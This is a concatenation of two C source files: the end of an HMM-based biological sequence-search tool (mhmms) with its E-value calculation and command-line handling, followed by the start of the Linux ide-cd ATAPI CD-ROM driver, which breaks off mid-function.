fprintf(outfile, "%*s ", LENGTH_WIDTH, "Start");
fprintf(outfile, "%*s ", LENGTH_WIDTH, "End");
if (!mhmmscan) {
fprintf(outfile, "%*s ", LENGTH_WIDTH, "Length");
}
fprintf(outfile, "Description\n");
fprintf(outfile, "%*.*s\n", output_width, output_width, SEPARATOR);
}
// Print the sequences (only the first line).
for (i_toprint = 0; i_toprint < num_toprint; i_toprint++) {
char* this_entry = tosort[i_toprint].out_string;
int end_of_line = find_eol(this_entry);
this_entry[end_of_line] = '\0';
fprintf(outfile, "%s\n", this_entry);
this_entry[end_of_line] = '\n';
}
// Print the traces (if requested).
if (print_fancy) {
fprintf(outfile, "%*.*s\n\n", output_width, output_width, SEPARATOR);
for (i_toprint = 0; i_toprint < num_toprint; i_toprint++) {
fprintf(outfile, "%s", tosort[i_toprint].out_string);
}
}
if (print_header) {
fprintf(outfile, "%*.*s\n\n", output_width, output_width, SEPARATOR);
}
// Print the GFFs.
if (gff_file != NULL) {
for (i_toprint = 0; i_toprint < num_toprint; i_toprint++) {
fprintf(gff_file, "%s", tosort[i_toprint].gff_string);
}
}
// Free up memory for the sorted sequences.
for (i_tosort = 0; i_tosort < num_tosort; i_tosort++) {
myfree(tosort[i_tosort].out_string);
if (gff_file != NULL) {
myfree(tosort[i_tosort].gff_string);
}
}
myfree(tosort);
// Free up memory for the stored sequences.
for (i_stored = 0; i_stored < num_stored; i_stored++) {
myfree(stored_seqs[i_stored]);
myfree(stored_IDs[i_stored]);
if (print_fancy) {
myfree(stored_traces[i_stored]);
}
if (gff_file != NULL) {
myfree(stored_match_gffs[i_stored]);
myfree(stored_motif_gffs[i_stored]);
}
}
myfree(stored_seqs);
myfree(stored_IDs);
myfree(stored_traces);
myfree(stored_match_gffs);
myfree(stored_motif_gffs);
myfree(stored_keys);
myfree(stored_scores);
myfree(stored_lengths);
myfree(stored_gcs);
}
/***********************************************
* Calculate the score distribution.
***********************************************/
EVD_SET calc_distr(
SCORE_SET score_set, // Set of scores and lengths.
DISTR_T dtype, // Type of score distribution
bool match_evalues // Use match E-values?
)
{
double H = 0; // don't use H
int maxiter1 = 10; // max. iterations in L-H loop
int maxiter2 = 20; // max. iterations in N-R loop
int size = 1000; // size of length groups
int min_scores = 0;
double lspan = 1.5; // min. length ratio/group
switch(dtype) {
case D_EVD:
lspan = 1.5;
min_scores = 200;
break;
case D_EXP:
lspan = 1.025;
min_scores = 200;
break;
case D_GCEXP:
lspan = 101;
min_scores = 0;
break;
default:
die("Unknown distribution type.");
break;
}
//
// If using match E-values instead of score E-values, set all
// the sequence lengths to total_length/# matches.
//
if (dtype==D_EVD && match_evalues) {
int i;
int length = score_set.n ? score_set.total_length/score_set.n : score_set.total_length;
for (i=0; i<score_set.n; i++) score_set.scores[i].t = length;
score_set.max_t = length;
}
// Fit the distribution to the scores and lengths.
return(fit_score_distribution(dtype, score_set, H, maxiter1, maxiter2, EPS1, EPS2, size, min_scores, lspan));
} // calc_distr
/*************************************************************************
* Calculate the E-values of sequence scores and store them as the keys.
*************************************************************************/
void calc_evalues (
EVD_SET *evd_set, // EVD parameters.
int n, // Number of sequences or matches.
int q, // Length of query.
int t // Use as length of targets if non-zero.
)
{
int i;
double t_or_gc;
if (evd_set->n <= 0) return; // no EVD available
// Get min(E-value) and sum of log(E).
evd_set->outliers = 0; // Number with E < 1.
evd_set->min_e = BIG; // Smallest E-value.
evd_set->sum_log_e = 0; // Sum of log(E < 1).
for (i=0; i<num_stored; i++) {
double evalue;
stored_scores[i] = stored_keys[i];
// E-value is new key.
t_or_gc = evd_set->dtype==D_EXP ? stored_gcs[i] : (t ? t : stored_lengths[i]);
evalue = stored_keys[i]
= Evd_set_evalue(
n,
stored_keys[i],
t_or_gc,
q,
*evd_set
);
if (evalue < evd_set->min_e) evd_set->min_e = evalue;
if (evalue < 1) {
evd_set->outliers++;
evd_set->sum_log_e += log(evalue);
}
}
} // calc_evalues
#ifdef MAIN
#include "simple-getopt.h"
VERBOSE_T verbosity = NORMAL_VERBOSE;
/**************************************************************************
* int main
**************************************************************************/
int main (int argc, char *argv[])
{
// Command line parameters.
char* hmm_filename; // File containing the HMM.
FILE* hmm_file;
char* seq_filename; // File containing the sequences.
FILE* seq_file;
char* viterbi_string; // Command line buffer.
bool viterbi; // Use Viterbi scoring.
bool local_scoring; // Use local scoring.
bool motif_scoring; // Perform motif-scoring.
bool use_pvalues; // Convert motif scores to p-values.
PROB_T p_threshold; // P-value threshold for motif hits.
int maxseqs; // Maximum number of sequences to print
bool both_strands; // Score both DNA strands.
PROB_T e_threshold; // E-value threshold for scores.
char* bg_filename; // File containing background frequencies.
int pam_distance; // PAM distance
char* sc_filename; // File containing substitution scores.
double beta; // Weight on pseudocounts.
bool allow_weak_motifs; // Allow motifs with min p-value > p-thresh?
bool zero_spacer_emit_lo; // Set spacer emission log-odds = 0?
double gap_open; // Cost to open a gap; ignore if < 0.
double gap_extend; // Cost to extend a gap; ignore if < 0.
int output_width; // Width of output, in chars.
bool print_fancy; // Print Viterbi alignments?
bool sort_output; // Sort output scores?
int progress_every; // Show progress after every n iterations.
bool print_header; // Print header information?
bool print_params; // Print program parameters?
bool print_time; // Print timing info?
// Data structures.
MHMM_T* the_hmm; // The HMM itself.
MHMM_T* the_log_hmm; // The HMM, with probs converted to logs.
SEQ_T* sequence; // Sequence to search against.
MATRIX_T* motif_score_matrix; // Number of motifs x sequence length.
MATRIX_T* dp_matrix = NULL; // Dynamic programming matrix.
MATRIX_T* trace_matrix = NULL; // Traceback for Viterbi.
MATCH_T* this_match = allocate_match(); // This sequence-to-model match.
int dp_rows = 0; // Size of the DP matrix.
int dp_cols = 0;
EVD_SET evd_set; // EVD data structure
bool got_evd = false; // no EVD found yet
SCORE_SET *score_set = NULL;// Set of scores/lengths for computing EVD.
// Local variables.
ALPH_T* alph;
double start_time; // Time at start of sequence processing.
double end_time; // Time at end of sequence processing.
int num_seqs; // Number of sequences processed.
// Record CPU time.
myclock();
/***********************************************
* Parse the command line.
***********************************************/
// Set defaults.
hmm_filename = NULL;
seq_filename = NULL;
viterbi_string = NULL;
viterbi = true;
local_scoring = true;
motif_scoring = false;
use_pvalues = false;
p_threshold = -1; // Don't do p-value scoring.
maxseqs = NO_MAX_SEQS;
both_strands = false; // Score given DNA strand only.
e_threshold = DEFAULT_E_THRESHOLD;
bg_filename = NULL;
pam_distance = -1; // Use default PAM distance.
sc_filename = NULL;
beta = -1; // Illegal beta, use defaults.
allow_weak_motifs = false; // Don't allow weak motifs.
zero_spacer_emit_lo = false;
gap_open = -1; // No gap open penalty.
gap_extend = -1; // No gap extension penalty.
output_width = DEFAULT_OUTPUT_WIDTH;
print_fancy = false;
sort_output = true;
progress_every = DEFAULT_PROGRESS_EVERY;
print_header = true;
print_params = true;
print_time = true;
{
// Define the usage message.
char usage[1000] = "";
// Define command line options.
cmdoption const options[] = {
{"paths", REQUIRED_VALUE},
{"global", NO_VALUE},
{"maxseqs", REQUIRED_VALUE},
{"pthresh", REQUIRED_VALUE},
{"both-strands", NO_VALUE},
{"ethresh", REQUIRED_VALUE},
{"fancy", NO_VALUE},
{"width", REQUIRED_VALUE},
{"nosort", NO_VALUE},
{"bg-file", REQUIRED_VALUE},
{"allow-weak-motifs", NO_VALUE},
{"progress", REQUIRED_VALUE},
{"verbosity", REQUIRED_VALUE},
{"noheader", NO_VALUE},
{"noparams", NO_VALUE},
{"notime", NO_VALUE},
{"quiet", NO_VALUE},
{"zselo", NO_VALUE},
{"gap-open", REQUIRED_VALUE},
{"gap-extend", REQUIRED_VALUE},
{"motif-scoring", NO_VALUE},
{"pseudo-weight", REQUIRED_VALUE},
{"pam", REQUIRED_VALUE},
{"score-file", REQUIRED_VALUE}
};
int option_count = 24;
int option_index = 0;
strcat(usage, "Usage: mhmms [options] <HMM file> <FASTA file>\n");
strcat(usage, "\n");
strcat(usage, " Options:\n");
strcat(usage, " --paths [single|all] (default=single)\n");
strcat(usage, " --global (default=local)\n");
strcat(usage, " --maxseqs <int>\n");
strcat(usage, " --pthresh <p-value>\n");
strcat(usage, " --both-strands\n");
strcat(usage, " --ethresh <E-value>\n");
strcat(usage, " --fancy\n");
strcat(usage, " --width <int> (default=132)\n");
strcat(usage, " --nosort\n");
strcat(usage, " --bg-file <file>\n");
strcat(usage, " --allow-weak-motifs\n");
strcat(usage, " --progress <int>\n");
strcat(usage, " --verbosity 1|2|3|4|5 (default=2)\n");
strcat(usage, " --noheader\n");
strcat(usage, " --noparams\n");
strcat(usage, " --notime\n");
strcat(usage, " --quiet\n");
strcat(usage, "\n");
strcat(usage, " Advanced options:\n");
strcat(usage, " --zselo\n");
strcat(usage, " --gap-open <cost>\n");
strcat(usage, " --gap-extend <cost>\n");
strcat(usage, " --motif-scoring\n");
strcat(usage, " --pseudo-weight <weight> (default=10)\n");
strcat(usage, " --pam <distance> (default=250 [protein] 1 [DNA])\n");
strcat(usage, " --score-file <file>\n");
strcat(usage, "\n");
simple_setopt(argc, argv, option_count, options);
// Parse the command line.
while (1) {
int c = 0;
char* option_name = NULL;
char* option_value = NULL;
const char* message = NULL;
// Read the next option, and break if we're done.
c = simple_getopt(&option_name, &option_value, &option_index);
if (c == 0) {
break;
} else if (c < 0) {
simple_getopterror(&message);
die("Error process command line options (%s)\n", message);
}
if (strcmp(option_name, "paths") == 0) {
viterbi_string = option_value;
} else if (strcmp(option_name, "global") == 0) {
local_scoring = false;
} else if (strcmp(option_name, "maxseqs") == 0) {
maxseqs = atoi(option_value);
} else if (strcmp(option_name, "pthresh") == 0) {
p_threshold = atof(option_value);
} else if (strcmp(option_name, "both-strands") == 0) {
both_strands = true;
} else if (strcmp(option_name, "ethresh") == 0) {
e_threshold = atof(option_value);
} else if (strcmp(option_name, "fancy") == 0) {
print_fancy = true;
} else if (strcmp(option_name, "width") == 0) {
output_width = atoi(option_value);
} else if (strcmp(option_name, "nosort") == 0) {
sort_output = false;
} else if (strcmp(option_name, "bg-file") == 0) {
bg_filename = option_value;
} else if (strcmp(option_name, "allow-weak-motifs") == 0) {
allow_weak_motifs = true;
} else if (strcmp(option_name, "progress") == 0) {
progress_every = atoi(option_value);
} else if (strcmp(option_name, "verbosity") == 0) {
verbosity = (VERBOSE_T)atoi(option_value);
} else if (strcmp(option_name, "noheader") == 0) {
print_header = false;
} else if (strcmp(option_name, "noparams") == 0) {
print_params = false;
} else if (strcmp(option_name, "notime") == 0) {
print_time = false;
} else if (strcmp(option_name, "quiet") == 0) {
print_header = print_params = print_time = false;
verbosity = QUIET_VERBOSE;
} else if (strcmp(option_name, "zselo") == 0) {
zero_spacer_emit_lo = true;
} else if (strcmp(option_name, "gap-open") == 0) {
gap_open = atof(option_value);
} else if (strcmp(option_name, "gap-extend") == 0) {
gap_extend = atof(option_value);
} else if (strcmp(option_name, "motif-scoring") == 0) {
motif_scoring = true;
} else if (strcmp(option_name, "pseudo-weight") == 0) {
beta = atof(option_value);
} else if (strcmp(option_name, "pam") == 0) {
pam_distance = atof(option_value);
} else if (strcmp(option_name, "score-file") == 0) {
sc_filename = option_value;
}
}
// Read the two required arguments.
if (option_index + 2 != argc) {
fprintf(stderr, "%s", usage);
exit(1);
}
hmm_filename = argv[option_index];
seq_filename = argv[option_index+1];
}
// Make sure we got the required files.
if (hmm_filename == NULL)
die("No HMM file given.\n");
if (seq_filename == NULL)
die("No sequence file given.\n");
// Figure out what kind of scoring to do.
if ((viterbi_string == NULL) || (strcmp(viterbi_string, "single") == 0)) {
viterbi = true;
} else if (strcmp(viterbi_string, "all") == 0) {
viterbi = false;
} else {
die("Illegal option (\"-paths %s\").", viterbi_string);
}
// Force p-value scoring if p-value threshold given.
if (p_threshold != -1) use_pvalues = true;
// Check p-threshold is in range [0<p<=1].
if (use_pvalues && (p_threshold <= 0 || p_threshold > 1))
die("You must specify p-thresh in the range [0<p<=1]\n");
// Force motif_scoring if using p-value scoring.
if (use_pvalues) motif_scoring = true;
// FIXME: both-strands not implemented
if (both_strands) {
die("Sorry, -both-strands not yet implemented.");
}
// Force motif_scoring if using both strands.
if (both_strands) motif_scoring = true;
// We can't do fancy output with total probability scoring yet.
if ((print_fancy) && (!viterbi)) {
die("Sorry: mhmms cannot yet produce alignments from all paths scoring.");
}
/***********************************************
* Set up the model.
***********************************************/
// Read the model.
read_mhmm(hmm_filename, &the_hmm);
alph = the_hmm->alph;
if (!(alph_is_builtin_dna(alph) || alph_is_builtin_protein(alph)))
die("%s alphabet not allowed. Only builtin DNA or Protein alphabets accepted.\n", alph_name(alph));
// Set the PAM distance.
if (pam_distance == -1) {
pam_distance = (alph_is_builtin_dna(alph) ? DEFAULT_DNA_PAM : DEFAULT_PROTEIN_PAM);
}
if (beta < 0) beta = (alph_is_builtin_protein(alph) ? 10 : 1);
// Read the background distribution.
free_array(the_hmm->background);
the_hmm->background = get_background(alph, bg_filename);
// Convert the model to log space.
the_log_hmm = allocate_mhmm(the_hmm->alph, the_hmm->num_states);
convert_to_from_log_hmm(
true, // Convert to logs.
zero_spacer_emit_lo,
gap_open,
gap_extend,
the_hmm->background,
sc_filename,
pam_distance,
beta,
the_hmm,
the_log_hmm
);
// Set up PSSM matrices if doing motif_scoring
// and pre-compute motif p-values if using p-values.
// Set up the hot_states list.
set_up_pssms_and_pvalues(motif_scoring,
p_threshold,
both_strands,
allow_weak_motifs,
the_log_hmm);
//
// Set up for computing score distribution.
//
score_set = set_up_score_set(
p_threshold,
-1, // dp_threshold,
-1, // max_gap
false, // negatives_only
the_log_hmm);
/***********************************************
* Search the database one sequence at a time.
***********************************************/
// Open the file for reading.
if (open_file(seq_filename, "r", true, "sequence", "sequences", &seq_file)
== 0)
exit(1);
start_time = myclock();
num_seqs = 0;
while (read_one_fasta(alph, seq_file, MAX_SEQ, &sequence)) {
num_seqs++;
// Keep track of total database size for E-value calculation.
score_set->total_length += get_seq_length(sequence);
// Let the user know what's going on.
if (verbosity > NORMAL_VERBOSE) {
fprintf(stderr, "Scoring %s (length=%d).\n", get_seq_name(sequence),
get_seq_length(sequence));
}
// Convert the sequence to alphabet-specific indices.
prepare_sequence(sequence, alph, false /* No hard masking */);
assert(get_seq_char(get_seq_length(sequence), sequence) == '\0');
/* Allocate the dynamic programming matrix. Rows correspond to
states in the model, columns to positions in the sequence. */
if ((dp_rows < the_log_hmm->num_states)
|| (dp_cols < get_seq_length(sequence))) {
free_matrix(dp_matrix);
free_matrix(trace_matrix);
if (dp_rows < the_log_hmm->num_states)
dp_rows = the_log_hmm->num_states;
if (dp_cols < get_seq_length(sequence))
dp_cols = get_seq_length(sequence);
// (Add one column for repeated match algorithm.)
dp_matrix = allocate_matrix(dp_rows, dp_cols + 1);
trace_matrix = allocate_matrix(dp_rows, dp_cols + 1);
}
// Compute the motif scoring matrix.
if (motif_scoring) {
motif_score_matrix = allocate_matrix(the_log_hmm->num_motifs,
get_seq_length(sequence));
compute_motif_score_matrix(use_pvalues,
p_threshold,
get_int_sequence(sequence),
get_seq_length(sequence),
the_log_hmm,
&motif_score_matrix);
} else {
//FIXME: remove
motif_score_matrix = NULL;
}
// Perform the appropriate type of dynamic programming.
if (viterbi) {
viterbi_algorithm(
local_scoring,
get_int_sequence(sequence),
get_seq_length(sequence),
the_log_hmm,
true, // Save Viterbi path?
motif_score_matrix,
dp_matrix,
trace_matrix,
this_match
);
} else {
forward_algorithm(
local_scoring,
get_int_sequence(sequence),
get_seq_length(sequence),
the_log_hmm,
//motif_score_matrix, // FIXME
dp_matrix,
this_match
);
}
// Store the score, ID, length and comment for later printing.
//assert(get_match_seq_length(this_match) == get_seq_length(sequence));
//assert(get_match_seq_length(this_match) == get_seq_length(sequence));
store_sequence(
alph,
motif_scoring,
false, // Don't print in mhmmscan format.
output_width,
sequence,
this_match,
e_threshold,
0, // no dp_threshold
p_threshold,
score_set,
got_evd,
evd_set,
print_fancy,
the_log_hmm,
motif_score_matrix,
false, // Store GFF?
NULL
);
/* Calculate the initial E-value distribution if the required
* number of sequences has been saved. This will allow the
* descriptions of low-scoring sequences to not be stored. The
* distribution will be recomputed using all saved scores when all
* sequences have been read. */
if (score_set->n == EVD_NUM_SEQS && got_evd == false) {
evd_set = calc_distr(
*score_set, // Set of scores.
use_pvalues ? D_EXP : D_EVD, // Use exponential distribution?
false // Use sequence E-values.
);
if (evd_set.n > 0) got_evd = true;
}
// Free the memory used by this sequence.
free_matrix(motif_score_matrix);
free_seq(sequence);
if ((verbosity >= NORMAL_VERBOSE) && (num_seqs % progress_every == 0)) {
fprintf(stderr, "\rSequences: %d", num_seqs);
}
}
end_time = myclock();
/***********************************************
* Calculate the E-values and store them as the keys.
***********************************************/
// Recalculate the EVD using all scores.
// If successful, calculate the E-values and
// store them as keys.
evd_set = calc_distr(
*score_set, // Set of scores.
use_pvalues ? D_EXP : D_EVD, // Use exponential distribution?
false // Use sequence E-values.
);
if (evd_set.n > 0) {
int q, t, N;
q = 1; // Ignore query "length".
t = 0; // Use stored target lengths.
N = evd_set.non_outliers; // Use number of non-outliers.
evd_set.N = N;
calc_evalues(&evd_set, N, q, t);
got_evd = true;
}
evd_set.negatives_only = false; // Used real sequences.
/***********************************************
* Print header information.
***********************************************/
if (print_header) {
write_header(
"MIAO",
"Database search results",
the_hmm->description,
the_hmm->motif_file,
hmm_filename,
seq_filename,
stdout
);
}
/***********************************************
* Sort and print the results.
***********************************************/
if (verbosity >= NORMAL_VERBOSE) {
fprintf(stderr, "\nSorting the E-values.\n");
}
sort_and_print_scores(
print_fancy,
print_header,
got_evd,
motif_scoring,
false, // Don't print in mhmmscan format.
maxseqs, // Maximum number of sequences to print
output_width,
e_threshold,
sort_output,
NULL, // FIXME: GFF output?
stdout
);
/***********************************************
* Print the program parameters.
***********************************************/
if (print_params) {
print_parameters(
argv,
argc,
"mhmms",
alph,
hmm_filename,
seq_filename,
viterbi,
NO_REPEAT, // Repeated match threshold.
motif_scoring,
use_pvalues,
p_threshold,
e_threshold,
both_strands,
bg_filename,
sc_filename,
pam_distance,
beta,
zero_spacer_emit_lo,
-1, // No max_gap.
0, // No egcost.
gap_open,
gap_extend,
print_fancy,
print_time,
start_time,
end_time,
num_seqs,
evd_set,
*score_set,
stdout
);
}
/* Tie up loose ends. */
// myfree(evd_set.evds);
free_mhmm(the_hmm);
free_mhmm(the_log_hmm);
free_matrix(dp_matrix);
free_matrix(trace_matrix);
free_match(this_match);
fclose(seq_file);
return(0);
}
#endif /* MAIN */
/*
* Local Variables:
* mode: c++
* c-basic-offset: 2
* End:
*/
|
438140.c | /*
* ATAPI CD-ROM driver.
*
* Copyright (C) 1994-1996 Scott Snyder <[email protected]>
* Copyright (C) 1996-1998 Erik Andersen <[email protected]>
* Copyright (C) 1998-2000 Jens Axboe <[email protected]>
* Copyright (C) 2005, 2007-2009 Bartlomiej Zolnierkiewicz
*
* May be copied or modified under the terms of the GNU General Public
* License. See linux/COPYING for more information.
*
* See Documentation/cdrom/ide-cd for usage information.
*
* Suggestions are welcome. Patches that work are more welcome though. ;-)
*
* Documentation:
* Mt. Fuji (SFF8090 version 4) and ATAPI (SFF-8020i rev 2.6) standards.
*
* For historical changelog please see:
* Documentation/ide/ChangeLog.ide-cd.1994-2004
*/
#define DRV_NAME "ide-cd"
#define PFX DRV_NAME ": "
#define IDECD_VERSION "5.00"
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/sched/task_stack.h>
#include <linux/delay.h>
#include <linux/timer.h>
#include <linux/seq_file.h>
#include <linux/slab.h>
#include <linux/interrupt.h>
#include <linux/errno.h>
#include <linux/cdrom.h>
#include <linux/ide.h>
#include <linux/completion.h>
#include <linux/mutex.h>
#include <linux/bcd.h>
/* For SCSI -> ATAPI command conversion */
#include <scsi/scsi.h>
#include <linux/io.h>
#include <asm/byteorder.h>
#include <linux/uaccess.h>
#include <asm/unaligned.h>
#include "ide-cd.h"
static DEFINE_MUTEX(ide_cd_mutex);
static DEFINE_MUTEX(idecd_ref_mutex);
static void ide_cd_release(struct device *);
static struct cdrom_info *ide_cd_get(struct gendisk *disk)
{
struct cdrom_info *cd = NULL;
mutex_lock(&idecd_ref_mutex);
cd = ide_drv_g(disk, cdrom_info);
if (cd) {
if (ide_device_get(cd->drive))
cd = NULL;
else
get_device(&cd->dev);
}
mutex_unlock(&idecd_ref_mutex);
return cd;
}
static void ide_cd_put(struct cdrom_info *cd)
{
ide_drive_t *drive = cd->drive;
mutex_lock(&idecd_ref_mutex);
put_device(&cd->dev);
ide_device_put(drive);
mutex_unlock(&idecd_ref_mutex);
}
/*
* Generic packet command support and error handling routines.
*/
/* Mark that we've seen a media change and invalidate our internal buffers. */
static void cdrom_saw_media_change(ide_drive_t *drive)
{
drive->dev_flags |= IDE_DFLAG_MEDIA_CHANGED;
drive->atapi_flags &= ~IDE_AFLAG_TOC_VALID;
}
static int cdrom_log_sense(ide_drive_t *drive, struct request *rq)
{
struct request_sense *sense = &drive->sense_data;
int log = 0;
if (!sense || !rq || (rq->rq_flags & RQF_QUIET))
return 0;
ide_debug_log(IDE_DBG_SENSE, "sense_key: 0x%x", sense->sense_key);
switch (sense->sense_key) {
case NO_SENSE:
case RECOVERED_ERROR:
break;
case NOT_READY:
/*
* don't care about tray state messages for e.g. capacity
* commands or in-progress or becoming ready
*/
if (sense->asc == 0x3a || sense->asc == 0x04)
break;
log = 1;
break;
case ILLEGAL_REQUEST:
/*
* don't log START_STOP unit with LoEj set, since we cannot
* reliably check if drive can auto-close
*/
if (scsi_req(rq)->cmd[0] == GPCMD_START_STOP_UNIT && sense->asc == 0x24)
break;
log = 1;
break;
case UNIT_ATTENTION:
/*
* Make good and sure we've seen this potential media change.
* Some drives (i.e. Creative) fail to present the correct sense
* key in the error register.
*/
cdrom_saw_media_change(drive);
break;
default:
log = 1;
break;
}
return log;
}
static void cdrom_analyze_sense_data(ide_drive_t *drive,
struct request *failed_command)
{
struct request_sense *sense = &drive->sense_data;
struct cdrom_info *info = drive->driver_data;
unsigned long sector;
unsigned long bio_sectors;
ide_debug_log(IDE_DBG_SENSE, "error_code: 0x%x, sense_key: 0x%x",
sense->error_code, sense->sense_key);
if (failed_command)
ide_debug_log(IDE_DBG_SENSE, "failed cmd: 0x%x",
failed_command->cmd[0]);
if (!cdrom_log_sense(drive, failed_command))
return;
/*
* If a read toc is executed for a CD-R or CD-RW medium where the first
* toc has not been recorded yet, it will fail with 05/24/00 (which is a
* confusing error)
*/
if (failed_command && scsi_req(failed_command)->cmd[0] == GPCMD_READ_TOC_PMA_ATIP)
if (sense->sense_key == 0x05 && sense->asc == 0x24)
return;
/* current error */
if (sense->error_code == 0x70) {
switch (sense->sense_key) {
case MEDIUM_ERROR:
case VOLUME_OVERFLOW:
case ILLEGAL_REQUEST:
if (!sense->valid)
break;
if (failed_command == NULL ||
blk_rq_is_passthrough(failed_command))
break;
sector = (sense->information[0] << 24) |
(sense->information[1] << 16) |
(sense->information[2] << 8) |
(sense->information[3]);
if (queue_logical_block_size(drive->queue) == 2048)
/* device sector size is 2K */
sector <<= 2;
bio_sectors = max(bio_sectors(failed_command->bio), 4U);
sector &= ~(bio_sectors - 1);
/*
* The SCSI specification allows for the value
* returned by READ CAPACITY to be up to 75 2K
* sectors past the last readable block.
* Therefore, if we hit a medium error within the
* last 75 2K sectors, we decrease the saved size
* value.
*/
if (sector < get_capacity(info->disk) &&
drive->probed_capacity - sector < 4 * 75)
set_capacity(info->disk, sector);
}
}
ide_cd_log_error(drive->name, failed_command, sense);
}
static void ide_cd_complete_failed_rq(ide_drive_t *drive, struct request *rq)
{
/*
* For ATA_PRIV_SENSE, "rq->special" points to the original
* failed request. Also, the sense data should be read
* directly from rq which might be different from the original
* sense buffer if it got copied during mapping.
*/
struct request *failed = (struct request *)rq->special;
void *sense = bio_data(rq->bio);
if (failed) {
/*
* Sense is always read into drive->sense_data, copy back to the
* original request.
*/
memcpy(scsi_req(failed)->sense, sense, 18);
scsi_req(failed)->sense_len = scsi_req(rq)->sense_len;
cdrom_analyze_sense_data(drive, failed);
if (ide_end_rq(drive, failed, BLK_STS_IOERR, blk_rq_bytes(failed)))
BUG();
} else
cdrom_analyze_sense_data(drive, NULL);
}
/*
* Allow the drive 5 seconds to recover; some devices will return NOT_READY
* while flushing data from cache.
*
* returns: 0 failed (write timeout expired)
* 1 success
*/
static int ide_cd_breathe(ide_drive_t *drive, struct request *rq)
{
struct cdrom_info *info = drive->driver_data;
if (!scsi_req(rq)->result)
info->write_timeout = jiffies + ATAPI_WAIT_WRITE_BUSY;
scsi_req(rq)->result = 1;
if (time_after(jiffies, info->write_timeout))
return 0;
else {
/*
* take a breather
*/
blk_delay_queue(drive->queue, 1);
return 1;
}
}
/**
* Returns:
* 0: if the request should be continued.
* 1: if the request will be going through error recovery.
* 2: if the request should be ended.
*/
static int cdrom_decode_status(ide_drive_t *drive, u8 stat)
{
ide_hwif_t *hwif = drive->hwif;
struct request *rq = hwif->rq;
int err, sense_key, do_end_request = 0;
/* get the IDE error register */
err = ide_read_error(drive);
sense_key = err >> 4;
ide_debug_log(IDE_DBG_RQ, "cmd: 0x%x, rq->cmd_type: 0x%x, err: 0x%x, "
"stat 0x%x",
rq->cmd[0], rq->cmd_type, err, stat);
if (ata_sense_request(rq)) {
/*
* We got an error trying to get sense info from the drive
* (probably while trying to recover from a former error).
* Just give up.
*/
rq->rq_flags |= RQF_FAILED;
return 2;
}
/* if we have an error, pass CHECK_CONDITION as the SCSI status byte */
if (blk_rq_is_scsi(rq) && !scsi_req(rq)->result)
scsi_req(rq)->result = SAM_STAT_CHECK_CONDITION;
if (blk_noretry_request(rq))
do_end_request = 1;
switch (sense_key) {
case NOT_READY:
if (req_op(rq) == REQ_OP_WRITE) {
if (ide_cd_breathe(drive, rq))
return 1;
} else {
cdrom_saw_media_change(drive);
if (!blk_rq_is_passthrough(rq) &&
!(rq->rq_flags & RQF_QUIET))
printk(KERN_ERR PFX "%s: tray open\n",
drive->name);
}
do_end_request = 1;
break;
case UNIT_ATTENTION:
cdrom_saw_media_change(drive);
if (blk_rq_is_passthrough(rq))
return 0;
/*
* Arrange to retry the request but be sure to give up if we've
* retried too many times.
*/
if (++scsi_req(rq)->result > ERROR_MAX)
do_end_request = 1;
break;
case ILLEGAL_REQUEST:
/*
* Don't print error message for this condition -- SFF8090i
* indicates that 5/24/00 is the correct response to a request
* to close the tray if the drive doesn't have that capability.
*
* cdrom_log_sense() knows this!
*/
if (scsi_req(rq)->cmd[0] == GPCMD_START_STOP_UNIT)
break;
/* fall-through */
case DATA_PROTECT:
/*
* No point in retrying after an illegal request or data
* protect error.
*/
if (!(rq->rq_flags & RQF_QUIET))
ide_dump_status(drive, "command error", stat);
do_end_request = 1;
break;
case MEDIUM_ERROR:
/*
* No point in re-trying a zillion times on a bad sector.
* If we got here the error is not correctable.
*/
if (!(rq->rq_flags & RQF_QUIET))
ide_dump_status(drive, "media error "
"(bad sector)", stat);
do_end_request = 1;
break;
case BLANK_CHECK:
/* disk appears blank? */
if (!(rq->rq_flags & RQF_QUIET))
ide_dump_status(drive, "media error (blank)",
stat);
do_end_request = 1;
break;
default:
if (blk_rq_is_passthrough(rq))
break;
if (err & ~ATA_ABORTED) {
/* go to the default handler for other errors */
ide_error(drive, "cdrom_decode_status", stat);
return 1;
} else if (++scsi_req(rq)->result > ERROR_MAX)
/* we've racked up too many retries, abort */
do_end_request = 1;
}
if (blk_rq_is_passthrough(rq)) {
rq->rq_flags |= RQF_FAILED;
do_end_request = 1;
}
/*
* End a request through request sense analysis when we have sense data.
* We need this in order to perform end of media processing.
*/
if (do_end_request)
goto end_request;
/* if we got a CHECK_CONDITION status, queue a request sense command */
if (stat & ATA_ERR)
return ide_queue_sense_rq(drive, NULL) ? 2 : 1;
return 1;
end_request:
if (stat & ATA_ERR) {
hwif->rq = NULL;
return ide_queue_sense_rq(drive, rq) ? 2 : 1;
} else
return 2;
}
static void ide_cd_request_sense_fixup(ide_drive_t *drive, struct ide_cmd *cmd)
{
struct request *rq = cmd->rq;
ide_debug_log(IDE_DBG_FUNC, "rq->cmd[0]: 0x%x", rq->cmd[0]);
/*
* Some of the trailing request sense fields are optional,
* and some drives don't send them. Sigh.
*/
if (scsi_req(rq)->cmd[0] == GPCMD_REQUEST_SENSE &&
cmd->nleft > 0 && cmd->nleft <= 5)
cmd->nleft = 0;
}
int ide_cd_queue_pc(ide_drive_t *drive, const unsigned char *cmd,
int write, void *buffer, unsigned *bufflen,
struct request_sense *sense, int timeout,
req_flags_t rq_flags)
{
struct cdrom_info *info = drive->driver_data;
int retries = 10;
bool failed;
ide_debug_log(IDE_DBG_PC, "cmd[0]: 0x%x, write: 0x%x, timeout: %d, "
"rq_flags: 0x%x",
cmd[0], write, timeout, rq_flags);
/* start of retry loop */
do {
struct request *rq;
int error;
bool delay = false;
rq = blk_get_request(drive->queue,
write ? REQ_OP_DRV_OUT : REQ_OP_DRV_IN, 0);
memcpy(scsi_req(rq)->cmd, cmd, BLK_MAX_CDB);
ide_req(rq)->type = ATA_PRIV_PC;
rq->rq_flags |= rq_flags;
rq->timeout = timeout;
if (buffer) {
error = blk_rq_map_kern(drive->queue, rq, buffer,
*bufflen, GFP_NOIO);
if (error) {
blk_put_request(rq);
return error;
}
}
blk_execute_rq(drive->queue, info->disk, rq, 0);
error = scsi_req(rq)->result ? -EIO : 0;
if (buffer)
*bufflen = scsi_req(rq)->resid_len;
if (sense)
memcpy(sense, scsi_req(rq)->sense, sizeof(*sense));
/*
* FIXME: we should probably abort/retry or something in case of
* failure.
*/
failed = (rq->rq_flags & RQF_FAILED) != 0;
if (failed) {
/*
* The request failed. Retry if it was due to a unit
* attention status (usually means media was changed).
*/
